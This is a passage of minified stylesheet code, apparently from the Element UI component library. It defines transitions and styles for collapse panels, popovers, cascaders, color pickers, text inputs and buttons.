linear}.el-fade-in-enter-active,.el-fade-in-leave-active{-webkit-transition:all .3s cubic-bezier(.55,0,.1,1);transition:all .3s cubic-bezier(.55,0,.1,1)}.el-zoom-in-center-enter-active,.el-zoom-in-center-leave-active{-webkit-transition:all .3s cubic-bezier(.55,0,.1,1);transition:all .3s cubic-bezier(.55,0,.1,1)}.el-zoom-in-center-enter,.el-zoom-in-center-leave-active{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}.el-zoom-in-top-enter-active,.el-zoom-in-top-leave-active{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:center top;transform-origin:center top}.el-zoom-in-top-enter,.el-zoom-in-top-leave-active{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}.el-zoom-in-bottom-enter-active,.el-zoom-in-bottom-leave-active{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:center bottom;transform-origin:center bottom}.el-zoom-in-bottom-enter,.el-zoom-in-bottom-leave-active{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}.el-zoom-in-left-enter-active,.el-zoom-in-left-leave-active{opacity:1;-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:top left;transform-origin:top left}.el-zoom-in-left-enter,.el-zoom-in-left-leave-active{opacity:0;-webkit-transform:scale(.45,.45);transform:scale(.45,.45)}.collapse-transition{-webkit-transition:.3s height ease-in-out,.3s padding-top ease-in-out,.3s padding-bottom ease-in-out;transition:.3s height ease-in-out,.3s padding-top ease-in-out,.3s padding-bottom ease-in-out}.horizontal-collapse-transition{-webkit-transition:.3s width ease-in-out,.3s padding-left ease-in-out,.3s padding-right ease-in-out;transition:.3s width ease-in-out,.3s padding-left ease-in-out,.3s padding-right ease-in-out}.el-list-enter-active,.el-list-leave-active{-webkit-transition:all 1s;transition:all 1s}.el-list-enter,.el-list-leave-active{opacity:0;-webkit-transform:translateY(-30px);transform:translateY(-30px)}.el-opacity-transition{-webkit-transition:opacity .3s cubic-bezier(.55,0,.1,1);transition:opacity .3s cubic-bezier(.55,0,.1,1)}.el-collapse{border-top:1px solid #ebeef5;border-bottom:1px solid #ebeef5}.el-collapse-item__header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;height:48px;line-height:48px;color:#303133;cursor:pointer;border-bottom:1px solid #ebeef5;font-size:13px;font-weight:500;-webkit-transition:border-bottom-color .3s;transition:border-bottom-color .3s;outline:0}.el-collapse-item__arrow{margin:0 8px 0 auto;-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;font-weight:300}.el-collapse-item__arrow.is-active{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.el-collapse-item__header.focusing:focus:not(:hover){color:#409EFF}.el-collapse-item__header.is-active{border-bottom-color:transparent}.el-collapse-item__wrap{will-change:height;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;border-bottom:1px solid #ebeef5}.el-collapse-item__content{padding-bottom:25px;font-size:13px;color:#303133;line-height:1.769230769230769}.el-collapse-item:last-child{margin-bottom:-1px}.el-popper .popper__arrow,.el-popper .popper__arrow::after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.el-popper .popper__arrow{border-width:6px;-webkit-filter:drop-shadow(0 2px 12px rgba(0, 0, 0, .03));filter:drop-shadow(0 2px 12px rgba(0, 0, 0, .03))}.el-popper .popper__arrow::after{content:\" \";border-width:6px}.el-popper[x-placement^=top]{margin-bottom:12px}.el-popper[x-placement^=top] .popper__arrow{bottom:-6px;left:50%;margin-right:3px;border-top-color:#ebeef5;border-bottom-width:0}.el-popper[x-placement^=top] .popper__arrow::after{bottom:1px;margin-left:-6px;border-top-color:#fff;border-bottom-width:0}.el-popper[x-placement^=bottom]{margin-top:12px}.el-popper[x-placement^=bottom] .popper__arrow{top:-6px;left:50%;margin-right:3px;border-top-width:0;border-bottom-color:#ebeef5}.el-popper[x-placement^=bottom] .popper__arrow::after{top:1px;margin-left:-6px;border-top-width:0;border-bottom-color:#fff}.el-popper[x-placement^=right]{margin-left:12px}.el-popper[x-placement^=right] .popper__arrow{top:50%;left:-6px;margin-bottom:3px;border-right-color:#ebeef5;border-left-width:0}.el-popper[x-placement^=right] .popper__arrow::after{bottom:-6px;left:1px;border-right-color:#fff;border-left-width:0}.el-popper[x-placement^=left]{margin-right:12px}.el-popper[x-placement^=left] .popper__arrow{top:50%;right:-6px;margin-bottom:3px;border-right-width:0;border-left-color:#ebeef5}.el-popper[x-placement^=left] .popper__arrow::after{right:1px;bottom:-6px;margin-left:-6px;border-right-width:0;border-left-color:#fff}.el-cascader{display:inline-block;position:relative;font-size:14px;line-height:40px}.el-cascader .el-input,.el-cascader .el-input__inner{cursor:pointer}.el-cascader .el-input.is-focus .el-input__inner{border-color:#409EFF}.el-cascader .el-input__icon{-webkit-transition:none;transition:none}.el-cascader .el-icon-arrow-down{-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;font-size:14px}.el-cascader .el-icon-arrow-down.is-reverse{-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg)}.el-cascader .el-icon-circle-close{z-index:2;-webkit-transition:color .2s cubic-bezier(.645,.045,.355,1);transition:color .2s cubic-bezier(.645,.045,.355,1)}.el-cascader .el-icon-circle-close:hover{color:#909399}.el-cascader__clearIcon{z-index:2;position:relative}.el-cascader__label{position:absolute;left:0;top:0;height:100%;padding:0 25px 0 15px;color:#606266;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;text-align:left;font-size:inherit}.el-cascader__label span{color:#000}.el-cascader--medium{font-size:14px;line-height:36px}.el-cascader--small{font-size:13px;line-height:32px}.el-cascader--mini{font-size:12px;line-height:28px}.el-cascader.is-disabled .el-cascader__label{z-index:2;color:#c0c4cc}.el-cascader-menus{white-space:nowrap;background:#fff;position:absolute;margin:5px 0;z-index:2;border:1px solid #e4e7ed;border-radius:2px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-cascader-menu{display:inline-block;vertical-align:top;height:204px;overflow:auto;border-right:solid 1px #e4e7ed;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:6px 0;min-width:160px}.el-cascader-menu:last-child{border-right:0}.el-cascader-menu__item{font-size:14px;padding:8px 20px;position:relative;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;color:#606266;height:34px;line-height:1.5;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;outline:0}.el-cascader-menu__item--extensible:after{font-family:element-icons;content:\"\\e604\";font-size:14px;color:#bfcbd9;position:absolute;right:15px}.el-cascader-menu__item.is-disabled{color:#c0c4cc;background-color:#fff;cursor:not-allowed}.el-cascader-menu__item.is-active{color:#409EFF}.el-cascader-menu__item:focus:not(:active),.el-cascader-menu__item:hover{background-color:#f5f7fa}.el-cascader-menu__item.selected{color:#fff;background-color:#f5f7fa}.el-cascader-menu__item__keyword{font-weight:700}.el-cascader-menu--flexible{height:auto;max-height:180px;overflow:auto}.el-cascader-menu--flexible .el-cascader-menu__item{overflow:visible}.el-color-predefine{display:-webkit-box;display:-ms-flexbox;display:flex;font-size:12px;margin-top:8px;width:280px}.el-color-predefine__colors{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1;flex:1;-ms-flex-wrap:wrap;flex-wrap:wrap}.el-color-predefine__color-selector{margin:0 0 8px 8px;width:20px;height:20px;border-radius:4px;cursor:pointer}.el-color-predefine__color-selector:nth-child(10n+1){margin-left:0}.el-color-predefine__color-selector.selected{-webkit-box-shadow:0 0 3px 2px #409EFF;box-shadow:0 0 3px 2px #409EFF}.el-color-predefine__color-selector>div{display:-webkit-box;display:-ms-flexbox;display:flex;height:100%;border-radius:3px}.el-color-predefine__color-selector.is-alpha{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.el-color-hue-slider{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;width:280px;height:12px;background-color:red;padding:0 2px}.el-color-hue-slider__bar{position:relative;background:-webkit-gradient(linear,left top,right top,from(red),color-stop(17%,#ff0),color-stop(33%,#0f0),color-stop(50%,#0ff),color-stop(67%,#00f),color-stop(83%,#f0f),to(red));background:linear-gradient(to right,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);height:100%}.el-color-hue-slider__thumb{position:absolute;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;left:0;top:0;width:4px;height:100%;border-radius:1px;background:#fff;border:1px solid #f0f0f0;-webkit-box-shadow:0 0 2px rgba(0,0,0,.6);box-shadow:0 0 2px rgba(0,0,0,.6);z-index:1}.el-color-hue-slider.is-vertical{width:12px;height:180px;padding:2px 0}.el-color-hue-slider.is-vertical .el-color-hue-slider__bar{background:-webkit-gradient(linear,left top,left bottom,from(red),color-stop(17%,#ff0),color-stop(33%,#0f0),color-stop(50%,#0ff),color-stop(67%,#00f),color-stop(83%,#f0f),to(red));background:linear-gradient(to bottom,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%)}.el-color-hue-slider.is-vertical .el-color-hue-slider__thumb{left:0;top:0;width:100%;height:4px}.el-color-svpanel{position:relative;width:280px;height:180px}.el-color-svpanel__black,.el-color-svpanel__white{position:absolute;top:0;left:0;right:0;bottom:0}.el-color-svpanel__white{background:-webkit-gradient(linear,left top,right top,from(#fff),to(rgba(255,255,255,0)));background:linear-gradient(to right,#fff,rgba(255,255,255,0))}.el-color-svpanel__black{background:-webkit-gradient(linear,left bottom,left top,from(#000),to(transparent));background:linear-gradient(to top,#000,transparent)}.el-color-svpanel__cursor{position:absolute}.el-color-svpanel__cursor>div{cursor:head;width:4px;height:4px;-webkit-box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4);box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4);border-radius:50%;-webkit-transform:translate(-2px,-2px);transform:translate(-2px,-2px)}.el-color-alpha-slider{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;width:280px;height:12px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.el-color-alpha-slider__bar{position:relative;background:-webkit-gradient(linear,left top,right top,from(rgba(255,255,255,0)),to(white));background:linear-gradient(to right,rgba(255,255,255,0) 0,#fff 100%);height:100%}.el-color-alpha-slider__thumb{position:absolute;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;left:0;top:0;width:4px;height:100%;border-radius:1px;background:#fff;border:1px solid #f0f0f0;-webkit-box-shadow:0 0 2px rgba(0,0,0,.6);box-shadow:0 0 2px rgba(0,0,0,.6);z-index:1}.el-color-alpha-slider.is-vertical{width:20px;height:180px}.el-color-alpha-slider.is-vertical .el-color-alpha-slider__bar{background:-webkit-gradient(linear,left top,left bottom,from(rgba(255,255,255,0)),to(white));background:linear-gradient(to bottom,rgba(255,255,255,0) 0,#fff 100%)}.el-color-alpha-slider.is-vertical .el-color-alpha-slider__thumb{left:0;top:0;width:100%;height:4px}.el-color-dropdown{width:300px}.el-color-dropdown__main-wrapper{margin-bottom:6px}.el-color-dropdown__main-wrapper::after{content:\"\";display:table;clear:both}.el-color-dropdown__btns{margin-top:6px;text-align:right}.el-color-dropdown__value{float:left;line-height:26px;font-size:12px;color:#000;width:160px}.el-color-dropdown__btn{border:1px solid #dcdcdc;color:#333;line-height:24px;border-radius:2px;padding:0 20px;cursor:pointer;background-color:transparent;outline:0;font-size:12px}.el-color-dropdown__btn[disabled]{color:#ccc;cursor:not-allowed}.el-color-dropdown__btn:hover{color:#409EFF;border-color:#409EFF}.el-color-dropdown__link-btn{cursor:pointer;color:#409EFF;text-decoration:none;padding:15px;font-size:12px}.el-color-dropdown__link-btn:hover{color:tint(#409EFF,20%)}.el-color-picker{display:inline-block;position:relative;line-height:normal;height:40px}.el-color-picker.is-disabled .el-color-picker__trigger{cursor:not-allowed}.el-color-picker--medium{height:36px}.el-color-picker--medium .el-color-picker__trigger{height:36px;width:36px}.el-color-picker--medium .el-color-picker__mask{height:34px;width:34px}.el-color-picker--small{height:32px}.el-color-picker--small .el-color-picker__trigger{height:32px;width:32px}.el-color-picker--small .el-color-picker__mask{height:30px;width:30px}.el-color-picker--small .el-color-picker__empty,.el-color-picker--small .el-color-picker__icon{-webkit-transform:translate3d(-50%,-50%,0) scale(.8);transform:translate3d(-50%,-50%,0) scale(.8)}.el-color-picker--mini{height:28px}.el-color-picker--mini .el-color-picker__trigger{height:28px;width:28px}.el-color-picker--mini .el-color-picker__mask{height:26px;width:26px}.el-color-picker--mini .el-color-picker__empty,.el-color-picker--mini .el-color-picker__icon{-webkit-transform:translate3d(-50%,-50%,0) scale(.8);transform:translate3d(-50%,-50%,0) scale(.8)}.el-color-picker__mask{height:38px;width:38px;border-radius:4px;position:absolute;top:1px;left:1px;z-index:1;cursor:not-allowed;background-color:rgba(255,255,255,.7)}.el-color-picker__trigger{display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;height:40px;width:40px;padding:4px;border:1px solid #e6e6e6;border-radius:4px;font-size:0;position:relative;cursor:pointer}.el-color-picker__color{position:relative;display:block;-webkit-box-sizing:border-box;box-sizing:border-box;border:1px solid #999;border-radius:2px;width:100%;height:100%;text-align:center}.el-color-picker__color.is-alpha{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.el-color-picker__color-inner{position:absolute;left:0;top:0;right:0;bottom:0}.el-color-picker__empty,.el-color-picker__icon{top:50%;left:50%;font-size:12px;position:absolute}.el-color-picker__empty{color:#999;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.el-color-picker__icon{display:inline-block;width:100%;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0);color:#fff;text-align:center}.el-color-picker__panel{position:absolute;z-index:10;padding:6px;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:#fff;border:1px solid #ebeef5;border-radius:4px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-textarea{display:inline-block;width:100%;vertical-align:bottom;font-size:14px}.el-textarea__inner{display:block;resize:vertical;padding:5px 15px;line-height:1.5;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;font-size:inherit;color:#606266;background-color:#fff;background-image:none;border:1px solid #dcdfe6;border-radius:4px;-webkit-transition:border-color .2s cubic-bezier(.645,.045,.355,1);transition:border-color .2s cubic-bezier(.645,.045,.355,1)}.el-textarea__inner::-webkit-input-placeholder{color:#c0c4cc}.el-textarea__inner:-ms-input-placeholder{color:#c0c4cc}.el-textarea__inner::placeholder{color:#c0c4cc}.el-textarea__inner:hover{border-color:#c0c4cc}.el-textarea__inner:focus{outline:0;border-color:#409EFF}.el-textarea.is-disabled .el-textarea__inner{background-color:#f5f7fa;border-color:#e4e7ed;color:#c0c4cc;cursor:not-allowed}.el-textarea.is-disabled .el-textarea__inner::-webkit-input-placeholder{color:#c0c4cc}.el-textarea.is-disabled .el-textarea__inner:-ms-input-placeholder{color:#c0c4cc}.el-textarea.is-disabled .el-textarea__inner::placeholder{color:#c0c4cc}.el-input{position:relative;font-size:14px;display:inline-block;width:100%}.el-input::-webkit-scrollbar{z-index:11;width:6px}.el-button-group>.el-button.is-active,.el-button-group>.el-button.is-disabled,.el-button-group>.el-button:active,.el-button-group>.el-button:focus,.el-button-group>.el-button:hover{z-index:1}.el-input::-webkit-scrollbar:horizontal{height:6px}.el-input::-webkit-scrollbar-thumb{border-radius:5px;width:6px;background:#b4bccc}.el-input::-webkit-scrollbar-corner{background:#fff}.el-input::-webkit-scrollbar-track{background:#fff}.el-input::-webkit-scrollbar-track-piece{background:#fff;width:6px}.el-input .el-input__clear{color:#c0c4cc;font-size:14px;line-height:16px;cursor:pointer;-webkit-transition:color .2s cubic-bezier(.645,.045,.355,1);transition:color .2s cubic-bezier(.645,.045,.355,1)}.el-input .el-input__clear:hover{color:#909399}.el-input__inner{-webkit-appearance:none;background-color:#fff;background-image:none;border-radius:4px;border:1px solid #dcdfe6;-webkit-box-sizing:border-box;box-sizing:border-box;color:#606266;display:inline-block;font-size:inherit;height:40px;line-height:40px;outline:0;padding:0 15px;-webkit-transition:border-color .2s cubic-bezier(.645,.045,.355,1);transition:border-color .2s cubic-bezier(.645,.045,.355,1);width:100%}.el-input__prefix,.el-input__suffix{position:absolute;top:0;-webkit-transition:all .3s;height:100%;color:#c0c4cc;text-align:center}.el-input__inner::-webkit-input-placeholder{color:#c0c4cc}.el-input__inner:-ms-input-placeholder{color:#c0c4cc}.el-input__inner::placeholder{color:#c0c4cc}.el-input__inner:hover{border-color:#c0c4cc}.el-input.is-active .el-input__inner,.el-input__inner:focus{border-color:#409EFF;outline:0}.el-input__suffix{right:5px;transition:all .3s}.el-input__suffix-inner{pointer-events:all}.el-input__prefix{left:5px;transition:all .3s}.el-input__icon{height:100%;width:25px;text-align:center;-webkit-transition:all .3s;transition:all .3s;line-height:40px}.el-input__icon:after{content:'';height:100%;width:0;display:inline-block;vertical-align:middle}.el-input__validateIcon{pointer-events:none}.el-input.is-disabled .el-input__inner{background-color:#f5f7fa;border-color:#e4e7ed;color:#c0c4cc;cursor:not-allowed}.el-input.is-disabled .el-input__inner::-webkit-input-placeholder{color:#c0c4cc}.el-input.is-disabled .el-input__inner:-ms-input-placeholder{color:#c0c4cc}.el-input.is-disabled .el-input__inner::placeholder{color:#c0c4cc}.el-input.is-disabled .el-input__icon{cursor:not-allowed}.el-input--suffix .el-input__inner{padding-right:30px}.el-input--prefix .el-input__inner{padding-left:30px}.el-input--medium{font-size:14px}.el-input--medium .el-input__inner{height:36px;line-height:36px}.el-input--medium .el-input__icon{line-height:36px}.el-input--small{font-size:13px}.el-input--small .el-input__inner{height:32px;line-height:32px}.el-input--small .el-input__icon{line-height:32px}.el-input--mini{font-size:12px}.el-input--mini .el-input__inner{height:28px;line-height:28px}.el-input--mini .el-input__icon{line-height:28px}.el-input-group{line-height:normal;display:inline-table;width:100%;border-collapse:separate;border-spacing:0}.el-input-group>.el-input__inner{vertical-align:middle;display:table-cell}.el-input-group__append,.el-input-group__prepend{background-color:#f5f7fa;color:#909399;vertical-align:middle;display:table-cell;position:relative;border:1px solid #dcdfe6;border-radius:4px;padding:0 20px;width:1px;white-space:nowrap}.el-input-group--prepend .el-input__inner,.el-input-group__append{border-top-left-radius:0;border-bottom-left-radius:0}.el-input-group--append .el-input__inner,.el-input-group__prepend{border-top-right-radius:0;border-bottom-right-radius:0}.el-input-group__append:focus,.el-input-group__prepend:focus{outline:0}.el-input-group__append .el-button,.el-input-group__append .el-select,.el-input-group__prepend .el-button,.el-input-group__prepend .el-select{display:inline-block;margin:-10px -20px}.el-input-group__append button.el-button,.el-input-group__append div.el-select .el-input__inner,.el-input-group__append div.el-select:hover .el-input__inner,.el-input-group__prepend button.el-button,.el-input-group__prepend div.el-select .el-input__inner,.el-input-group__prepend div.el-select:hover .el-input__inner{border-color:transparent;background-color:transparent;color:inherit;border-top:0;border-bottom:0}.el-input-group__append .el-button,.el-input-group__append .el-input,.el-input-group__prepend .el-button,.el-input-group__prepend .el-input{font-size:inherit}.el-input-group__prepend{border-right:0}.el-input-group__append{border-left:0}.el-input-group--append .el-select .el-input.is-focus .el-input__inner,.el-input-group--prepend .el-select .el-input.is-focus .el-input__inner{border-color:transparent}.el-input__inner::-ms-clear{display:none;width:0;height:0}.el-button{display:inline-block;line-height:1;white-space:nowrap;cursor:pointer;background:#fff;border:1px solid #dcdfe6;color:#606266;-webkit-appearance:none;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;outline:0;margin:0;-webkit-transition:.1s;transition:.1s;font-weight:500;padding:12px 20px;font-size:14px;border-radius:4px}.el-button+.el-button{margin-left:10px}.el-button:focus,.el-button:hover{color:#409EFF;border-color:#c6e2ff;background-color:#ecf5ff}.el-button:active{color:#3a8ee6;border-color:#3a8ee6;outline:0}.el-button::-moz-focus-inner{border:0}.el-button [class*=el-icon-]+span{margin-left:5px}.el-button.is-plain:focus,.el-button.is-plain:hover{background:#fff;border-color:#409EFF;color:#409EFF}.el-button.is-active,.el-button.is-plain:active{color:#3a8ee6;border-color:#3a8ee6}.el-button.is-plain:active{background:#fff;outline:0}.el-button.is-disabled,.el-button.is-disabled:focus,.el-button.is-disabled:hover{color:#c0c4cc;cursor:not-allowed;background-image:none;background-color:#fff;border-color:#ebeef5}.el-button.is-disabled.el-button--text{background-color:transparent}.el-button.is-disabled.is-plain,.el-button.is-disabled.is-plain:focus,.el-button.is-disabled.is-plain:hover{background-color:#fff;border-color:#ebeef5;color:#c0c4cc}.el-button.is-loading{position:relative;pointer-events:none}.el-button.is-loading:before{pointer-events:none;content:'';position:absolute;left:-1px;top:-1px;right:-1px;bottom:-1px;border-radius:inherit;background-color:rgba(255,255,255,.35)}.el-button.is-round{border-radius:20px;padding:12px 23px}.el-button.is-circle{border-radius:50%;padding:12px}.el-button--primary{color:#fff;background-color:#409EFF;border-color:#409EFF}.el-button--primary:focus,.el-button--primary:hover{background:#66b1ff;border-color:#66b1ff;color:#fff}.el-button--primary.is-active,.el-button--primary:active{background:#3a8ee6;border-color:#3a8ee6;color:#fff}.el-button--primary:active{outline:0}.el-button--primary.is-disabled,.el-button--primary.is-disabled:active,.el-button--primary.is-disabled:focus,.el-button--primary.is-disabled:hover{color:#fff;background-color:#a0cfff;border-color:#a0cfff}.el-button--primary.is-plain{color:#409EFF;background:#ecf5ff;border-color:#b3d8ff}.el-button--primary.is-plain:focus,.el-button--primary.is-plain:hover{background:#409EFF;border-color:#409EFF;color:#fff}.el-button--primary.is-plain:active{background:#3a8ee6;border-color:#3a8ee6;color:#fff;outline:0}.el-button--primary.is-plain.is-disabled,.el-button--primary.is-plain.is-disabled:active,.el-button--primary.is-plain.is-disabled:focus,.el-button--primary.is-plain.is-disabled:hover{color:#8cc5ff;background-color:#ecf5ff;border-color:#d9ecff}.el-button--success{color:#fff;background-color:#67c23a;border-color:#67c23a}.el-button--success:focus,.el-button--success:hover{background:#85ce61;border-color:#85ce61;color:#fff}.el-button--success.is-active,.el-button--success:active{background:#5daf34;border-color:#5daf34;color:#fff}.el-button--success:active{outline:0}.el-button--success.is-disabled,.el-button--success.is-disabled:active,.el-button--success.is-disabled:focus,.el-button--success.is-disabled:hover{color:#fff;background-color:#b3e19d;border-color:#b3e19d}.el-button--success.is-plain{color:#67c23a;background:#f0f9eb;border-color:#c2e7b0}.el-button--success.is-plain:focus,.el-button--success.is-plain:hover{background:#67c23a;border-color:#67c23a;color:#fff}.el-button--success.is-plain:active{background:#5daf34;border-color:#5daf34;color:#fff;outline:0}.el-button--success.is-plain.is-disabled,.el-button--success.is-plain.is-disabled:active,.el-button--success.is-plain.is-disabled:focus,.el-button--success.is-plain.is-disabled:hover{color:#a4da89;background-color:#f0f9eb;border-color:#e1f3d8}.el-button--warning{color:#fff;background-color:#e6a23c;border-color:#e6a23c}.el-button--warning:focus,.el-button--warning:hover{background:#ebb563;border-color:#ebb563;color:#fff}.el-button--warning.is-active,.el-button--warning:active{background:#cf9236;border-color:#cf9236;color:#fff}.el-button--warning:active{outline:0}.el-button--warning.is-disabled,.el-button--warning.is-disabled:active,.el-button--warning.is-disabled:focus,.el-button--warning.is-disabled:hover{color:#fff;background-color:#f3d19e;border-color:#f3d19e}.el-button--warning.is-plain{color:#e6a23c;background:#fdf6ec;border-color:#f5dab1}.el-button--warning.is-plain:focus,.el-button--warning.is-plain:hover{background:#e6a23c;border-color:#e6a23c;color:#fff}.el-button--warning.is-plain:active{background:#cf9236;border-color:#cf9236;color:#fff;outline:0}.el-button--warning.is-plain.is-disabled,.el-button--warning.is-plain.is-disabled:active,.el-button--warning.is-plain.is-disabled:focus,.el-button--warning.is-plain.is-disabled:hover{color:#f0c78a;background-color:#fdf6ec;border-color:#faecd8}.el-button--danger{color:#fff;background-color:#f56c6c;border-color:#f56c6c}.el-button--danger:focus,.el-button--danger:hover{background:#f78989;border-color:#f78989;color:#fff}.el-button--danger.is-active,.el-button--danger:active{background:#dd6161;border-color:#dd6161;color:#fff}.el-button--danger:active{outline:0}.el-button--danger.is-disabled,.el-button--danger.is-disabled:active,.el-button--danger.is-disabled:focus,.el-button--danger.is-disabled:hover{color:#fff;background-color:#fab6b6;border-color:#fab6b6}.el-button--danger.is-plain{color:#f56c6c;background:#fef0f0;border-color:#fbc4c4}.el-button--danger.is-plain:focus,.el-button--danger.is-plain:hover{background:#f56c6c;border-color:#f56c6c;color:#fff}.el-button--danger.is-plain:active{background:#dd6161;border-color:#dd6161;color:#fff;outline:0}.el-button--danger.is-plain.is-disabled,.el-button--danger.is-plain.is-disabled:active,.el-button--danger.is-plain.is-disabled:focus,.el-button--danger.is-plain.is-disabled:hover{color:#f9a7a7;background-color:#fef0f0;border-color:#fde2e2}.el-button--info{color:#fff;background-color:#909399;border-color:#909399}.el-button--info:focus,.el-button--info:hover{background:#a6a9ad;border-color:#a6a9ad;color:#fff}.el-button--info.is-active,.el-button--info:active{background:#82848a;border-color:#82848a;color:#fff}.el-button--info:active{outline:0}.el-button--info.is-disabled,.el-button--info.is-disabled:active,.el-button--info.is-disabled:focus,.el-button--info.is-disabled:hover{color:#fff;background-color:#c8c9cc;border-color:#c8c9cc}.el-button--info.is-plain{color:#909399;background:#f4f4f5;border-color:#d3d4d6}.el-button--info.is-plain:focus,.el-button--info.is-plain:hover{background:#909399;border-color:#909399;color:#fff}.el-button--info.is-plain:active{background:#82848a;border-color:#82848a;color:#fff;outline:0}.el-button--info.is-plain.is-disabled,.el-button--info.is-plain.is-disabled:active,.el-button--info.is-plain.is-disabled:focus,.el-button--info.is-plain.is-disabled:hover{color:#bcbec2;background-color:#f4f4f5;border-color:#e9e9eb}.el-button--text,.el-button--text.is-disabled,.el-button--text.is-disabled:focus,.el-button--text.is-disabled:hover,.el-button--text:active{border-color:transparent}.el-button--medium{padding:10px 20px;font-size:14px;border-radius:4px}.el-button--mini,.el-button--small{font-size:12px;border-radius:3px}.el-button--medium.is-round{padding:10px 20px}.el-button--medium.is-circle{padding:10px}.el-button--small,.el-button--small.is-round{padding:9px 15px}.el-button--small.is-circle{padding:9px}.el-button--mini,.el-button--mini.is-round{padding:7px 15px}.el-button--mini.is-circle{padding:7px}.el-button--text{color:#409EFF;background:0 0;padding-left:0;padding-right:0}.el-button--text:focus,.el-button--text:hover{color:#66b1ff;border-color:transparent;background-color:transparent}.el-button--text:active{color:#3a8ee6;background-color:transparent}.el-button-group{display:inline-block;vertical-align:middle}.el-button-group::after,.el-button-group::before{display:table;content:\"\"}.el-checkbox,.el-checkbox__input{display:inline-block;position:relative;white-space:nowrap}.el-button-group::after{clear:both}.el-button-group>.el-button{float:left;position:relative}.el-button-group>.el-button+.el-button{margin-left:0}.el-button-group>.el-button:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.el-button-group>.el-button:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.el-button-group>.el-button:first-child:last-child{border-radius:4px}.el-button-group>.el-button:first-child:last-child.is-round{border-radius:20px}.el-button-group>.el-button:first-child:last-child.is-circle{border-radius:50%}.el-button-group>.el-button:not(:first-child):not(:last-child){border-radius:0}.el-button-group>.el-button:not(:last-child){margin-right:-1px}.el-button-group>.el-dropdown>.el-button{border-top-left-radius:0;border-bottom-left-radius:0;border-left-color:rg